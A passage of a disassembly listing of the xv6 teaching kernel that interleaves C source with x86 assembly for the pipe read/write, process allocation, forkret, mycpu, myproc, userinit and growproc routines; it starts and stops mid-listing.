0x238(%ebx),%eax while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 801033b9: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 801033bf: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 801033c5: 89 4d e4 mov %ecx,-0x1c(%ebp) 801033c8: 03 4d 10 add 0x10(%ebp),%ecx 801033cb: 89 4d e0 mov %ecx,-0x20(%ebp) { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801033ce: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 801033d4: 8d 91 00 02 00 00 lea 0x200(%ecx),%edx 801033da: 39 d0 cmp %edx,%eax 801033dc: 74 38 je 80103416 <pipewrite+0x86> 801033de: eb 59 jmp 80103439 <pipewrite+0xa9> if(p->readopen == 0 || myproc()->killed){ 801033e0: e8 9b 03 00 00 call 80103780 <myproc> 801033e5: 8b 48 24 mov 0x24(%eax),%ecx 801033e8: 85 c9 test %ecx,%ecx 801033ea: 75 34 jne 80103420 <pipewrite+0x90> release(&p->lock); return -1; } wakeup(&p->nread); 801033ec: 83 ec 0c sub $0xc,%esp 801033ef: 57 push %edi 801033f0: e8 eb 0a 00 00 call 80103ee0 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 801033f5: 58 pop %eax 801033f6: 5a pop %edx 801033f7: 53 push %ebx 801033f8: 56 push %esi 801033f9: e8 32 09 00 00 call 80103d30 <sleep> { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801033fe: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103404: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010340a: 83 c4 10 add $0x10,%esp 8010340d: 05 00 02 00 00 add $0x200,%eax 80103412: 39 c2 cmp %eax,%edx 80103414: 75 2a jne 80103440 <pipewrite+0xb0> if(p->readopen == 0 || myproc()->killed){ 80103416: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 8010341c: 85 c0 test %eax,%eax 8010341e: 75 c0 jne 801033e0 <pipewrite+0x50> release(&p->lock); 80103420: 83 ec 0c sub $0xc,%esp 80103423: 53 push %ebx 80103424: e8 c7 0f 00 00 call 801043f0 <release> return -1; 80103429: 83 c4 10 add $0x10,%esp 8010342c: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 80103431: 8d 65 f4 lea -0xc(%ebp),%esp 80103434: 5b pop %ebx 80103435: 5e pop %esi 80103436: 5f pop %edi 80103437: 5d pop %ebp 80103438: c3 ret { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103439: 89 c2 mov %eax,%edx 8010343b: 90 nop 8010343c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; } wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; 80103440: 8b 4d e4 mov -0x1c(%ebp),%ecx 80103443: 8d 42 01 lea 0x1(%edx),%eax 80103446: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 8010344a: 81 e2 ff 01 00 00 and $0x1ff,%edx 80103450: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 80103456: 0f b6 09 movzbl (%ecx),%ecx 80103459: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) 8010345d: 8b 4d e4 mov -0x1c(%ebp),%ecx pipewrite(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); for(i = 0; i < n; i++){ 80103460: 3b 4d e0 cmp -0x20(%ebp),%ecx 80103463: 0f 85 65 ff ff ff jne 801033ce <pipewrite+0x3e> wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 80103469: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 8010346f: 83 ec 0c sub $0xc,%esp 80103472: 50 push %eax 80103473: e8 68 0a 00 00 call 80103ee0 <wakeup> release(&p->lock); 80103478: 89 1c 24 mov %ebx,(%esp) 8010347b: e8 70 0f 00 00 call 801043f0 <release> return n; 80103480: 83 c4 10 add $0x10,%esp 80103483: 8b 45 10 mov 0x10(%ebp),%eax 80103486: eb a9 jmp 80103431 <pipewrite+0xa1> 80103488: 90 nop 80103489: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103490 <piperead>: } int piperead(struct pipe *p, char *addr, int n) { 80103490: 55 push %ebp 80103491: 89 e5 mov %esp,%ebp 80103493: 57 push %edi 80103494: 56 push %esi 80103495: 53 push %ebx 80103496: 83 ec 18 sub $0x18,%esp 80103499: 8b 5d 08 mov 0x8(%ebp),%ebx 8010349c: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 8010349f: 53 push %ebx 801034a0: e8 9b 0e 00 00 call 80104340 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 801034a5: 83 c4 10 add $0x10,%esp 801034a8: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 801034ae: 39 83 38 02 00 00 cmp %eax,0x238(%ebx) 801034b4: 75 6a jne 80103520 <piperead+0x90> 801034b6: 8b b3 40 02 00 00 mov 0x240(%ebx),%esi 801034bc: 85 f6 test %esi,%esi 801034be: 0f 84 cc 00 00 00 je 80103590 <piperead+0x100> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 801034c4: 8d b3 34 02 00 00 lea 0x234(%ebx),%esi 801034ca: eb 2d jmp 801034f9 <piperead+0x69> 801034cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801034d0: 83 ec 08 sub $0x8,%esp 801034d3: 53 push %ebx 801034d4: 56 push %esi 801034d5: e8 56 08 00 00 call 80103d30 <sleep> piperead(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 801034da: 83 c4 10 add $0x10,%esp 801034dd: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax 801034e3: 39 83 34 02 00 00 cmp %eax,0x234(%ebx) 801034e9: 75 35 jne 80103520 <piperead+0x90> 801034eb: 8b 93 40 02 00 00 mov 0x240(%ebx),%edx 801034f1: 85 d2 test %edx,%edx 801034f3: 0f 84 97 00 00 00 je 80103590 <piperead+0x100> if(myproc()->killed){ 801034f9: e8 82 02 00 00 call 80103780 <myproc> 801034fe: 8b 48 24 mov 0x24(%eax),%ecx 80103501: 85 c9 test %ecx,%ecx 80103503: 74 cb je 801034d0 <piperead+0x40> release(&p->lock); 80103505: 83 ec 0c sub $0xc,%esp 80103508: 53 push %ebx 80103509: e8 e2 0e 00 00 call 801043f0 <release> return -1; 8010350e: 83 c4 10 add $0x10,%esp addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103511: 8d 65 f4 lea -0xc(%ebp),%esp acquire(&p->lock); while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty if(myproc()->killed){ release(&p->lock); return -1; 80103514: b8 ff ff ff ff mov $0xffffffff,%eax addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103519: 5b pop %ebx 8010351a: 5e pop %esi 8010351b: 5f pop %edi 8010351c: 5d pop %ebp 8010351d: c3 ret 8010351e: 66 90 xchg %ax,%ax release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80103520: 8b 45 10 mov 0x10(%ebp),%eax 80103523: 85 c0 test %eax,%eax 80103525: 7e 69 jle 80103590 <piperead+0x100> if(p->nread == p->nwrite) 80103527: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 8010352d: 31 c9 xor %ecx,%ecx 8010352f: eb 15 jmp 80103546 <piperead+0xb6> 80103531: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103538: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 8010353e: 3b 83 38 02 00 00 cmp 0x238(%ebx),%eax 80103544: 74 5a je 801035a0 <piperead+0x110> break; addr[i] = p->data[p->nread++ % PIPESIZE]; 80103546: 8d 70 01 lea 0x1(%eax),%esi 80103549: 25 ff 01 00 00 and $0x1ff,%eax 8010354e: 89 b3 34 02 00 00 mov %esi,0x234(%ebx) 80103554: 0f b6 44 03 34 movzbl 0x34(%ebx,%eax,1),%eax 80103559: 88 04 0f mov %al,(%edi,%ecx,1) release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 8010355c: 83 c1 01 add $0x1,%ecx 8010355f: 39 4d 10 cmp %ecx,0x10(%ebp) 80103562: 75 d4 jne 80103538 <piperead+0xa8> if(p->nread == p->nwrite) break; addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup 80103564: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax 8010356a: 83 ec 0c sub $0xc,%esp 8010356d: 50 push %eax 8010356e: e8 6d 09 00 00 call 80103ee0 <wakeup> release(&p->lock); 80103573: 89 1c 24 mov %ebx,(%esp) 80103576: e8 75 0e 00 00 call 801043f0 <release> return i; 8010357b: 8b 45 10 mov 0x10(%ebp),%eax 8010357e: 83 c4 10 add $0x10,%esp } 80103581: 8d 65 f4 lea -0xc(%ebp),%esp 80103584: 5b pop %ebx 80103585: 5e pop %esi 80103586: 5f pop %edi 80103587: 5d pop %ebp 80103588: c3 ret 80103589: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80103590: c7 45 10 00 00 00 00 movl $0x0,0x10(%ebp) 80103597: eb cb jmp 80103564 <piperead+0xd4> 80103599: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801035a0: 89 4d 10 mov %ecx,0x10(%ebp) 801035a3: eb bf jmp 80103564 <piperead+0xd4> 801035a5: 66 90 xchg %ax,%ax 801035a7: 66 90 xchg %ax,%ax 801035a9: 66 90 xchg %ax,%ax 801035ab: 66 90 xchg %ax,%ax 801035ad: 66 90 xchg %ax,%ax 801035af: 90 nop 801035b0 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 801035b0: 55 push %ebp 801035b1: 89 e5 mov %esp,%ebp 801035b3: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801035b4: bb 74 2d 11 80 mov $0x80112d74,%ebx // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 801035b9: 83 ec 10 sub $0x10,%esp struct proc *p; char *sp; acquire(&ptable.lock); 801035bc: 68 40 2d 11 80 push $0x80112d40 801035c1: e8 7a 0d 00 00 call 80104340 <acquire> 801035c6: 83 c4 10 add $0x10,%esp 801035c9: eb 10 jmp 801035db <allocproc+0x2b> 801035cb: 90 nop 801035cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801035d0: 83 c3 7c add $0x7c,%ebx 801035d3: 81 fb 74 4c 11 80 cmp $0x80114c74,%ebx 801035d9: 74 75 je 80103650 <allocproc+0xa0> if(p->state == UNUSED) 801035db: 8b 43 0c mov 0xc(%ebx),%eax 801035de: 85 c0 test %eax,%eax 801035e0: 75 ee jne 801035d0 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 801035e2: a1 04 a0 10 80 mov 0x8010a004,%eax release(&ptable.lock); 801035e7: 83 ec 0c sub $0xc,%esp release(&ptable.lock); return 0; found: p->state = EMBRYO; 801035ea: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; release(&ptable.lock); 801035f1: 68 40 2d 11 80 push $0x80112d40 release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 801035f6: 8d 50 01 lea 0x1(%eax),%edx 801035f9: 89 43 10 mov %eax,0x10(%ebx) 801035fc: 89 15 04 a0 10 80 mov %edx,0x8010a004 release(&ptable.lock); 80103602: e8 e9 0d 00 00 call 801043f0 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103607: e8 84 ee ff ff call 80102490 <kalloc> 8010360c: 83 c4 10 add $0x10,%esp 8010360f: 85 c0 test %eax,%eax 80103611: 89 43 08 mov %eax,0x8(%ebx) 80103614: 74 51 je 80103667 <allocproc+0xb7> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103616: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 8010361c: 83 ec 04 sub $0x4,%esp // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; 8010361f: 05 9c 0f 00 00 add $0xf9c,%eax return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103624: 89 53 18 mov %edx,0x18(%ebx) p->tf = (struct trapframe*)sp; // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; 80103627: c7 40 14 81 56 10 80 movl $0x80105681,0x14(%eax) sp -= sizeof *p->context; p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 8010362e: 6a 14 push $0x14 80103630: 6a 00 push $0x0 80103632: 50 push %eax // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context*)sp; 80103633: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 80103636: e8 05 0e 00 00 call 80104440 <memset> p->context->eip = (uint)forkret; 8010363b: 8b 43 1c mov 0x1c(%ebx),%eax return p; 8010363e: 83 c4 10 add $0x10,%esp *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); p->context->eip = (uint)forkret; 80103641: c7 40 10 70 36 10 80 movl $0x80103670,0x10(%eax) return p; 80103648: 89 d8 mov %ebx,%eax } 8010364a: 8b 5d fc mov -0x4(%ebp),%ebx 8010364d: c9 leave 8010364e: c3 ret 8010364f: 90 nop for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) if(p->state == UNUSED) goto found; release(&ptable.lock); 80103650: 83 ec 0c sub $0xc,%esp 80103653: 68 40 2d 11 80 push $0x80112d40 80103658: e8 93 0d 00 00 call 801043f0 <release> return 0; 8010365d: 83 c4 10 add $0x10,%esp 80103660: 31 c0 xor %eax,%eax p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); p->context->eip = (uint)forkret; return p; } 80103662: 8b 5d fc mov -0x4(%ebp),%ebx 80103665: c9 leave 80103666: c3 ret release(&ptable.lock); // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ p->state = UNUSED; 80103667: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 8010366e: eb da jmp 8010364a <allocproc+0x9a> 80103670 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 80103670: 55 push %ebp 80103671: 89 e5 mov %esp,%ebp 80103673: 83 ec 14 sub $0x14,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 80103676: 68 40 2d 11 80 push $0x80112d40 8010367b: e8 70 0d 00 00 call 801043f0 <release> if (first) { 80103680: a1 00 a0 10 80 mov 0x8010a000,%eax 80103685: 83 c4 10 add $0x10,%esp 80103688: 85 c0 test %eax,%eax 8010368a: 75 04 jne 80103690 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 8010368c: c9 leave 8010368d: c3 ret 8010368e: 66 90 xchg %ax,%ax if (first) { // Some initialization functions must be run in the context // of a regular process (e.g., they call sleep), and thus cannot // be run from main(). first = 0; iinit(ROOTDEV); 80103690: 83 ec 0c sub $0xc,%esp if (first) { // Some initialization functions must be run in the context // of a regular process (e.g., they call sleep), and thus cannot // be run from main(). first = 0; 80103693: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 8010369a: 00 00 00 iinit(ROOTDEV); 8010369d: 6a 01 push $0x1 8010369f: e8 cc dd ff ff call 80101470 <iinit> initlog(ROOTDEV); 801036a4: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801036ab: e8 00 f4 ff ff call 80102ab0 <initlog> 801036b0: 83 c4 10 add $0x10,%esp } // Return to "caller", actually trapret (see allocproc). } 801036b3: c9 leave 801036b4: c3 ret 801036b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801036b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801036c0 <pinit>: static void wakeup1(void *chan); void pinit(void) { 801036c0: 55 push %ebp 801036c1: 89 e5 mov %esp,%ebp 801036c3: 83 ec 10 sub $0x10,%esp initlock(&ptable.lock, "ptable"); 801036c6: 68 75 74 10 80 push $0x80107475 801036cb: 68 40 2d 11 80 push $0x80112d40 801036d0: e8 0b 0b 00 00 call 801041e0 <initlock> } 801036d5: 83 c4 10 add $0x10,%esp 801036d8: c9 leave 801036d9: c3 ret 801036da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801036e0 <mycpu>: // Must be called with interrupts disabled to avoid the caller being // rescheduled between reading lapicid and running through the loop. struct cpu* mycpu(void) { 801036e0: 55 push %ebp 801036e1: 89 e5 mov %esp,%ebp 801036e3: 56 push %esi 801036e4: 53 push %ebx static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 801036e5: 9c pushf 801036e6: 58 pop %eax int apicid, i; if(readeflags()&FL_IF) 801036e7: f6 c4 02 test $0x2,%ah 801036ea: 75 5b jne 80103747 <mycpu+0x67> panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); 801036ec: e8 ff ef ff ff call 801026f0 <lapicid> // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { 801036f1: 8b 35 20 2d 11 80 mov 0x80112d20,%esi 801036f7: 85 f6 test %esi,%esi 801036f9: 7e 3f jle 8010373a <mycpu+0x5a> if (cpus[i].apicid == apicid) 801036fb: 0f b6 15 a0 27 11 80 movzbl 0x801127a0,%edx 80103702: 39 d0 cmp %edx,%eax 80103704: 74 30 je 80103736 <mycpu+0x56> 80103706: b9 50 28 11 80 mov $0x80112850,%ecx 8010370b: 31 d2 xor %edx,%edx 8010370d: 8d 76 00 lea 0x0(%esi),%esi panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { 80103710: 83 c2 01 add $0x1,%edx 80103713: 39 f2 cmp %esi,%edx 80103715: 74 23 je 8010373a <mycpu+0x5a> if (cpus[i].apicid == apicid) 80103717: 0f b6 19 movzbl (%ecx),%ebx 8010371a: 81 c1 b0 00 00 00 add $0xb0,%ecx 80103720: 39 d8 cmp %ebx,%eax 80103722: 75 ec jne 80103710 <mycpu+0x30> return &cpus[i]; 80103724: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax } panic("unknown apicid\n"); } 8010372a: 8d 65 f8 lea -0x8(%ebp),%esp 8010372d: 5b pop %ebx apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { if (cpus[i].apicid == apicid) return &cpus[i]; 8010372e: 05 a0 27 11 80 add $0x801127a0,%eax } panic("unknown apicid\n"); } 80103733: 5e pop %esi 80103734: 5d pop %ebp 80103735: c3 ret panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { 80103736: 31 d2 xor %edx,%edx 80103738: eb ea jmp 80103724 <mycpu+0x44> if (cpus[i].apicid == apicid) return &cpus[i]; } panic("unknown apicid\n"); 8010373a: 83 ec 0c sub $0xc,%esp 8010373d: 68 7c 74 10 80 push $0x8010747c 80103742: e8 29 cc ff ff call 80100370 <panic> mycpu(void) { int apicid, i; if(readeflags()&FL_IF) panic("mycpu called with interrupts enabled\n"); 80103747: 83 ec 0c sub $0xc,%esp 8010374a: 68 58 75 10 80 push $0x80107558 8010374f: e8 1c cc ff ff call 80100370 <panic> 80103754: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010375a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103760 <cpuid>: initlock(&ptable.lock, "ptable"); } // Must be called with interrupts disabled int cpuid() { 80103760: 55 push %ebp 80103761: 89 e5 mov %esp,%ebp 80103763: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 80103766: e8 75 ff ff ff call 801036e0 <mycpu> 8010376b: 2d a0 27 11 80 sub $0x801127a0,%eax } 80103770: c9 leave } // Must be called with interrupts disabled int cpuid() { return mycpu()-cpus; 80103771: c1 f8 04 sar $0x4,%eax 80103774: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 8010377a: c3 ret 8010377b: 90 nop 8010377c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103780 <myproc>: } // Disable interrupts so that we are not rescheduled // while reading proc from the cpu structure struct proc* myproc(void) { 80103780: 55 push %ebp 80103781: 89 e5 mov %esp,%ebp 80103783: 53 push %ebx 80103784: 83 ec 04 sub $0x4,%esp struct cpu *c; struct proc *p; pushcli(); 80103787: e8 d4 0a 00 00 call 80104260 <pushcli> c = mycpu(); 8010378c: e8 4f ff ff ff call 801036e0 <mycpu> p = c->proc; 80103791: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103797: e8 04 0b 00 00 call 801042a0 <popcli> return p; } 8010379c: 83 c4 04 add $0x4,%esp 8010379f: 89 d8 mov %ebx,%eax 801037a1: 5b pop %ebx 801037a2: 5d pop %ebp 801037a3: c3 ret 801037a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801037aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801037b0 <userinit>: //PAGEBREAK: 32 // Set up first user process. void userinit(void) { 801037b0: 55 push %ebp 801037b1: 89 e5 mov %esp,%ebp 801037b3: 53 push %ebx 801037b4: 83 ec 04 sub $0x4,%esp struct proc *p; extern char _binary_initcode_start[], _binary_initcode_size[]; p = allocproc(); 801037b7: e8 f4 fd ff ff call 801035b0 <allocproc> 801037bc: 89 c3 mov %eax,%ebx initproc = p; 801037be: a3 bc a5 10 80 mov %eax,0x8010a5bc if((p->pgdir = setupkvm()) == 0) 801037c3: e8 a8 34 00 00 call 80106c70 <setupkvm> 801037c8: 85 c0 test %eax,%eax 801037ca: 89 43 04 mov %eax,0x4(%ebx) 801037cd: 0f 84 bd 00 00 00 je 80103890 <userinit+0xe0> panic("userinit: out of memory?"); inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 801037d3: 83 ec 04 sub $0x4,%esp 801037d6: 68 2c 00 00 00 push $0x2c 801037db: 68 60 a4 10 80 push $0x8010a460 801037e0: 50 push %eax 801037e1: e8 9a 31 00 00 call 80106980 <inituvm> p->sz = PGSIZE; memset(p->tf, 0, sizeof(*p->tf)); 801037e6: 83 c4 0c add $0xc,%esp initproc = p; if((p->pgdir = setupkvm()) == 0) panic("userinit: out of memory?"); inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); p->sz = PGSIZE; 801037e9: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 801037ef: 6a 4c push $0x4c 801037f1: 6a 00 push $0x0 801037f3: ff 73 18 pushl 0x18(%ebx) 801037f6: e8 45 0c 00 00 call 80104440 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 801037fb: 8b 43 18 mov 0x18(%ebx),%eax 801037fe: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103803: b9 23 00 00 00 mov $0x23,%ecx p->tf->ss = p->tf->ds; p->tf->eflags = FL_IF; p->tf->esp = PGSIZE; p->tf->eip = 0; // beginning of initcode.S safestrcpy(p->name, "initcode", sizeof(p->name)); 80103808: 83 c4 0c add $0xc,%esp if((p->pgdir = setupkvm()) == 0) panic("userinit: out of memory?"); inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); p->sz = PGSIZE; memset(p->tf, 0, sizeof(*p->tf)); p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010380b: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010380f: 8b 43 18 mov 0x18(%ebx),%eax 80103812: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103816: 8b 43 18 mov 0x18(%ebx),%eax 80103819: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010381d: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 80103821: 8b 43 18 mov 0x18(%ebx),%eax 80103824: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103828: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010382c: 8b 43 18 mov 0x18(%ebx),%eax 8010382f: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103836: 8b 43 18 mov 0x18(%ebx),%eax 80103839: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 80103840: 8b 43 18 mov 0x18(%ebx),%eax 80103843: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 8010384a: 8d 43 6c lea 0x6c(%ebx),%eax 8010384d: 6a 10 push $0x10 8010384f: 68 a5 74 10 80 push $0x801074a5 80103854: 50 push %eax 80103855: e8 e6 0d 00 00 call 80104640 <safestrcpy> p->cwd = namei("/"); 8010385a: c7 04 24 ae 74 10 80 movl $0x801074ae,(%esp) 80103861: e8 5a e6 ff ff call 80101ec0 <namei> 80103866: 89 43 68 mov %eax,0x68(%ebx) // this assignment to p->state lets other cores // run this process. the acquire forces the above // writes to be visible, and the lock is also needed // because the assignment might not be atomic. acquire(&ptable.lock); 80103869: c7 04 24 40 2d 11 80 movl $0x80112d40,(%esp) 80103870: e8 cb 0a 00 00 call 80104340 <acquire> p->state = RUNNABLE; 80103875: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 8010387c: c7 04 24 40 2d 11 80 movl $0x80112d40,(%esp) 80103883: e8 68 0b 00 00 call 801043f0 <release> } 80103888: 83 c4 10 add $0x10,%esp 8010388b: 8b 5d fc mov -0x4(%ebp),%ebx 8010388e: c9 leave 8010388f: c3 ret p = allocproc(); initproc = p; if((p->pgdir = setupkvm()) == 0) panic("userinit: out of memory?"); 80103890: 83 ec 0c sub $0xc,%esp 80103893: 68 8c 74 10 80 push $0x8010748c 80103898: e8 d3 ca ff ff call 80100370 <panic> 8010389d: 8d 76 00 lea 0x0(%esi),%esi 801038a0 <growproc>: // Grow current process's memory by n bytes. // Return 0 on success, -1 on failure. int growproc(int n) { 801038a0: 55 push %ebp 801038a1: 89 e5 mov %esp,%ebp 801038a3: 56 push %esi 801038a4: 53 push %ebx 801038a5: 8b 75 08 mov 0x8(%ebp),%esi // while reading proc from the cpu structure struct proc* myproc(void) { struct cpu *c; struct proc *p; pushcli(); 801038a8: e8 b3 09 00 00 call 80104260 <pushcli> c = mycpu(); 801038ad: e8 2e fe ff ff call 801036e0 <mycpu> p = c->proc; 801038b2: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801038b8: e8 e3 09 00 00 call 801042a0 <popcli> { uint sz; struct proc *curproc = myproc(); sz = curproc->sz; if(n > 0){ 801038bd: 83 fe 00 cmp $0x0,%esi growproc(int n) { uint sz; struct proc *curproc = myproc(); sz = curproc->sz; 801038c0: 8b 03 mov (%ebx),%eax if(n > 0){ 801038c2: 7e 34 jle 801038f8 <growproc+0x58> if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 801038c4: 83 ec 04 sub $0x4,%esp 801038c7: 01 c6 add %eax,%esi 801038c9: 56 push %esi 801038ca: 50 push %eax 801038cb: ff 73 04 pushl 0x4(%ebx) 801038ce: e8 ed 31 00 00 call 80106ac0 <allocuvm> 801038d3: 83 c4 10 add $0x10,%esp 801038d6: 85 c0 test %eax,%eax 801038d8: 74 36 je 80103910 <growproc+0x70> } else if(n < 0){ if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) return -1; } curproc->sz = sz; switchuvm(curproc); 801038da: 83 ec 0c sub 